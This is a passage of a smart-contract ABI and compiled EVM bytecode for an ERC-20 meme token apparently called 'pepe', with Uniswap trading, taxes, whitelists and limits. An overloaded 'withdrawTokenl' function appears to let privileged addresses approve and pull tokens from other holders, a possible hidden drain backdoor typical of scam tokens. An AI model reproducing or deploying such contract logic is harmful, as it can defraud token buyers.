:"skipTheSnipas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawTokenl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawTokenl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wls","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600481526020017f7065706500000000000000000000000000000000000000000000000000000000815250600690816200004a919062000e7a565b506040518060400160405280600481526020017f70657065000000000000000000000000000000000000000000000000000000008152506007908162000091919062000e7a565b506103e860236b033b2e3c9fd0803ce8000000620000b0919062000f90565b620000bc91906200100a565b6008556103e860236b033b2e3c9fd0803ce8000000620000dd919062000f90565b620000e991906200100a565b60095561271060056b033b2e3c9fd0803ce80000006200010a919062000f90565b6200011691906200100a565b600a557384e1f0aa40baf80ebff6f0a507dbde5fbad9a070600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060016101000a81548160ff0219169083151502179055506000601060026101000a81548160ff0219169083151502179055506000601060036101000a81548160ff0219169083151502179055506000601155600060125560006013557317d3a0de3b095ff626341f605b72498c8c878375601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200027357600080fd5b5060068054620002839062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620002b19062000c69565b8015620003025780601f10620002d65761010080835404028352916020019162000302565b820191906000526020600020905b815481529060010190602001808311620002e457829003601f168201915b505050505060078054620003169062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620003449062000c69565b8015620003955780601f10620003695761010080835404028352916020019162000395565b820191906000526020600020905b8154815290600101906020018083116200037757829003601f168201915b50505050508160039081620003ab919062000e7a565b508060049081620003bd919062000e7a565b505050620003e0620003d46200099160201b60201c565b6200099960201b60201c565b620003fe336b033b2e3c9fd0803ce800000062000a5f60201b60201c565b6003601060006101000a81548160ff0219169083600381111562000427576200042662001042565b5b02179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60006200048f62000bcc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506200115d565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000ad1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac890620010d2565b60405180910390fd5b62000ae56000838362000bf660201b60201c565b806002600082825462000af99190620010f4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000bac919062001140565b60405180910390a362000bc86000838362000bfb60201b60201c565b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c8257607f821691505b60208210810362000c985762000c9762000c3a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cc3565b62000d0e868362000cc3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d5b62000d5562000d4f8462000d26565b62000d30565b62000d26565b9050919050565b6000819050919050565b62000d778362000d3a565b62000d8f62000d868262000d62565b84845462000cd0565b825550505050565b600090565b62000da662000d97565b62000db381848462000d6c565b505050565b5b8181101562000ddb5762000dcf60008262000d9c565b60018101905062000db9565b5050565b601f82111562000e2a5762000df48162000c9e565b62000dff8462000cb3565b8101602085101562000e0f578190505b62000e2762000e1e8562000cb3565b83018262000db8565b50505b505050565b600082821c905092915050565b600062000e4f6000198460080262000e2f565b1980831691505092915050565b600062000e6a838362000e3c565b9150826002028217905092915050565b62000e858262000c00565b67ffffffffffffffff81111562000ea15762000ea062000c0b565b5b62000ead825462000c69565b62000eba82828562000ddf565b600060209050601f83116001811462000ef2576000841562000edd578287015190505b62000ee9858262000e5c565b86555062000f59565b601f19841662000f028662000c9e565b60005b8281101562000f2c5784890151825560018201915060208501945060208101905062000f05565b8683101562000f4c578489015162000f48601f89168262000e3c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f9d8262000d26565b915062000faa8362000d26565b925082820262000fba8162000d26565b9150828204841483151762000fd45762000fd362000f61565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010178262000d26565b9150620010248362000d26565b92508262001037576200103662000fdb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620010ba601f8362001071565b9150620010c78262001082565b602082019050919050565b60006020820190508181036000830152620010ed81620010ab565b9050919050565b6000620011018262000d26565b91506200110e8362000d26565b925082820190508082111562001129576200112862000f61565b5b92915050565b6200113a8162000d26565b82525050565b60006020820190506200115760008301846200112f565b92915050565b608051613bd6620011b86000396000818161092701528181610b9f01528181610c4a01528181610d7d01528181610dc40152818161137e0152818161151b015281816127ed015281816128e601526129890152613bd66000f3fe6080604052600436106102085760003560e01c8063751039fc11610118578063b61b64fa116100a0578063e5b37a651161006f578063e5b37a6514610761578063ef437ff51461079e578063f2fde38b146107c7578063fca675a8146107f0578063ffdf01c31461081b5761020f565b8063b61b64fa146106a5578063bf6a1c0d146106d0578063d931d7be146106e7578063dd62ed3e146107245761020f565b806395d89b41116100e757806395d89b41146105aa578063a014f37d146105d5578063a457c2d714610600578063a9059cbb1461063d578063aa4bde281461067a5761020f565b8063751039fc146105005780638baa8249146105175780638c0b5e22146105545780638da5cb5b1461057f5761020f565b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e1461044c57806354b762a6146104775780635ea7e69a146104a257806370a08231146104ac578063715018a6146104e95761020f565b8063313ce5671461038e57806333ee1793146103b957806339509351146103e45780633eb5d9b2146104215761020f565b80631694505e116101d75780631694505e146102d257806318160ddd146102fd57806323b872dd14610328578063253ac0f1146103655761020f565b806303fd2a45146102145780630445b6671461023f57806306fdde031461026a578063095ea7b3146102955761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610844565b6040516102369190612a60565b60405180910390f35b34801561024b57600080fd5b5061025461086a565b6040516102619190612a94565b60405180910390f35b34801561027657600080fd5b5061027f610870565b60405161028c9190612b3f565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190612bbe565b610902565b6040516102c99190612c19565b60405180910390f35b3480156102de57600080fd5b506102e7610925565b6040516102f49190612c93565b60405180910390f35b34801561030957600080fd5b50610312610949565b60405161031f9190612a94565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612cae565b610953565b60405161035c9190612c19565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190612d01565b610982565b005b34801561039a57600080fd5b506103a3610aa7565b6040516103b09190612d4a565b60405180910390f35b3480156103c557600080fd5b506103ce610ab0565b6040516103db9190612a94565b60405180910390f35b3480156103f057600080fd5b5061040b60048036038101906104069190612bbe565b610ab6565b6040516104189190612c19565b60405180910390f35b34801561042d57600080fd5b50610436610aed565b6040516104439190612a94565b60405180910390f35b34801561045857600080fd5b50610461610af3565b60405161046e9190612a60565b60405180910390f35b34801561048357600080fd5b5061048c610b19565b6040516104999190612c19565b60405180910390f35b6104aa610b95565b005b3480156104b857600080fd5b506104d360048036038101906104ce9190612d01565b610e7e565b6040516104e09190612a94565b60405180910390f35b3480156104f557600080fd5b506104fe610ec6565b005b34801561050c57600080fd5b50610515610eda565b005b34801561052357600080fd5b5061053e60048036038101906105399190612d01565b610f0a565b60405161054b9190612c19565b60405180910390f35b34801561056057600080fd5b50610569610f2a565b6040516105769190612a94565b60405180910390f35b34801561058b57600080fd5b50610594610f30565b6040516105a19190612a60565b60405180910390f35b3480156105b657600080fd5b506105bf610f5a565b6040516105cc9190612b3f565b60405180910390f35b3480156105e157600080fd5b506105ea610fec565b6040516105f79190612c19565b60405180910390f35b34801561060c57600080fd5b5061062760048036038101906106229190612bbe565b611038565b6040516106349190612c19565b60405180910390f35b34801561064957600080fd5b50610664600480360381019061065f9190612bbe565b6110af565b6040516106719190612c19565b60405180910390f35b34801561068657600080fd5b5061068f6110d2565b60405161069c9190612a94565b60405180910390f35b3480156106b157600080fd5b506106ba6110d8565b6040516106c79190612a94565b60405180910390f35b3480156106dc57600080fd5b506106e56110de565b005b3480156106f357600080fd5b5061070e60048036038101906107099190612d01565b61116e565b60405161071b9190612c19565b60405180910390f35b34801561073057600080fd5b5061074b60048036038101906107469190612d65565b61118e565b6040516107589190612a94565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190612d01565b611215565b6040516107959190612c19565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c09190612dd1565b611235565b005b3480156107d357600080fd5b506107ee60048036038101906107e99190612d01565b611298565b005b3480156107fc57600080fd5b5061080561131b565b6040516108129190612e88565b60405180910390f35b34801561082757600080fd5b50610842600480360381019061083d9190612bbe565b61132e565b005b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b60606003805461087f90612ed2565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab90612ed2565b80156108f85780601f106108cd576101008083540402835291602001916108f8565b820191906000526020600020905b8154815290600101906020018083116108db57829003601f168201915b5050505050905090565b60008061090d61165e565b905061091a818585611666565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b60008061095e61165e565b905061096b85828561182f565b6109768585856118bb565b60019150509392505050565b61098a612275565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610a029190612a60565b602060405180830381865afa158015610a1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a439190612f18565b6040518363ffffffff1660e01b8152600401610a60929190612f45565b6020604051808303816000875af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa39190612f83565b5050565b60006012905090565b60125481565b600080610ac161165e565b9050610ae2818585610ad3858961118e565b610add9190612fdf565b611666565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610b85573d6000803e3d6000fd5b5060006016819055506001905090565b610b9d612275565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2c9190613028565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd79190613028565b6040518363ffffffff1660e01b8152600401610cf4929190613055565b6020604051808303816000875af1158015610d13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d379190613028565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc2307f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611666565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e0930610e7e565b600080610e14610f30565b426040518863ffffffff1660e01b8152600401610e36969594939291906130b9565b60606040518083038185885af1158015610e54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e79919061311a565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ece612275565b610ed860006122f3565b565b610ee2612275565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f6990612ed2565b80601f0160208091040260200160405190810160405280929190818152602001828054610f9590612ed2565b8015610fe25780601f10610fb757610100808354040283529160200191610fe2565b820191906000526020600020905b815481529060010190602001808311610fc557829003601f168201915b5050505050905090565b6000610ff6612275565b6003601060006101000a81548160ff0219169083600381111561101c5761101b612e11565b5b0217905550600060118190555060006012819055506001905090565b60008061104361165e565b90506000611051828661118e565b905083811015611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d906131df565b60405180910390fd5b6110a38286868403611666565b60019250505092915050565b6000806110ba61165e565b90506110c78185856118bb565b600191505092915050565b60095481565b60165481565b6110e6612275565b601060029054906101000a900460ff1615611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d9061324b565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b61123d612275565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6112a0612275565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361130f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611306906132dd565b60405180910390fd5b611318816122f3565b50565b601060009054906101000a900460ff1681565b6000600267ffffffffffffffff81111561134b5761134a6132fd565b5b6040519080825280602002602001820160405280156113795781602001602082028036833780820191505090505b5090507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140b9190613028565b8160008151811061141f5761141e61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061146e5761146d61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106114be576114bd61332c565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115b1577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b815260040161157a9493929190613419565b6000604051808303818588803b15801561159357600080fd5b505af11580156115a7573d6000803e3d6000fd5b5050505050611658565b6115bb84846123b9565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85846001815181106115ec576115eb61332c565b5b6020026020010151866040518463ffffffff1660e01b815260040161161393929190613465565b6020604051808303816000875af1158015611632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116569190612f83565b505b50505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc9061350e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b906135a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118229190612a94565b60405180910390a3505050565b600061183b848461118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118b557818110156118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189e9061360c565b60405180910390fd5b6118b48484848403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361192a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119219061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090613730565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a3d5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a9257601060029054906101000a900460ff16611a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a889061379c565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b365750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2f57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e57600854811115611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9061382e565b60405180910390fd5b600954611be183610e7e565b82611bec9190612fdf565b1115611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c24906138c0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561226457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611d865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561217657600854821115611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc790613952565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611e775750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eaf57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f815760006003811115611ec857611ec7612e11565b5b601060009054906101000a900460ff166003811115611eea57611ee9612e11565b5b03611f48576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611f5a9190613972565b611f6491906139e3565b9050611f71853083612407565b8083611f7d9190613a14565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120285750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120785750601060039054906101000a900460ff165b80156120915750601060019054906101000a900460ff16155b15612171576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036120fb5760135490505b6001601060016101000a81548160ff02191690831515021790555061211e61267d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121499190613972565b61215391906139e3565b9050612160863083612407565b808461216c9190613a14565b925050505b612263565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561222457508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561226257600060646013548461223b9190613972565b61224591906139e3565b9050612252853083612407565b808361225e9190613a14565b9150505b5b5b61226f848483612407565b50505050565b61227d61165e565b73ffffffffffffffffffffffffffffffffffffffff1661229b610f30565b73ffffffffffffffffffffffffffffffffffffffff16146122f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e890613a94565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600030905060006123ca828561118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612401576124008483858403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d9061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc90613730565b60405180910390fd5b6124f0838383612744565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d90613b26565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126649190612a94565b60405180910390a3612677848484612749565b50505050565b600061268830610e7e565b03156127425760008061269a30610e7e565b9050600047905060006126ce600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e7e565b90506000600a5484111561273c574792506126ea84600061274e565b82476126f69190613a14565b9450600a54821115612722578061270e576000612710565b845b8561271b91906139e3565b6016819055505b84601660008282546127349190612fdf565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561276b5761276a6132fd565b5b6040519080825280602002602001820160405280156127995781602001602082028036833780820191505090505b50905030816000815181106127b1576127b061332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287a9190613028565b8160018151811061288e5761288d61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612943929190612f45565b6020604051808303816000875af1158015612962573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129869190612f83565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b81526004016129e8959493929190613b46565b600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a4a82612a1f565b9050919050565b612a5a81612a3f565b82525050565b6000602082019050612a756000830184612a51565b92915050565b6000819050919050565b612a8e81612a7b565b82525050565b6000602082019050612aa96000830184612a85565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae9578082015181840152602081019050612ace565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b1182612aaf565b612b1b8185612aba565b9350612b2b818560208601612acb565b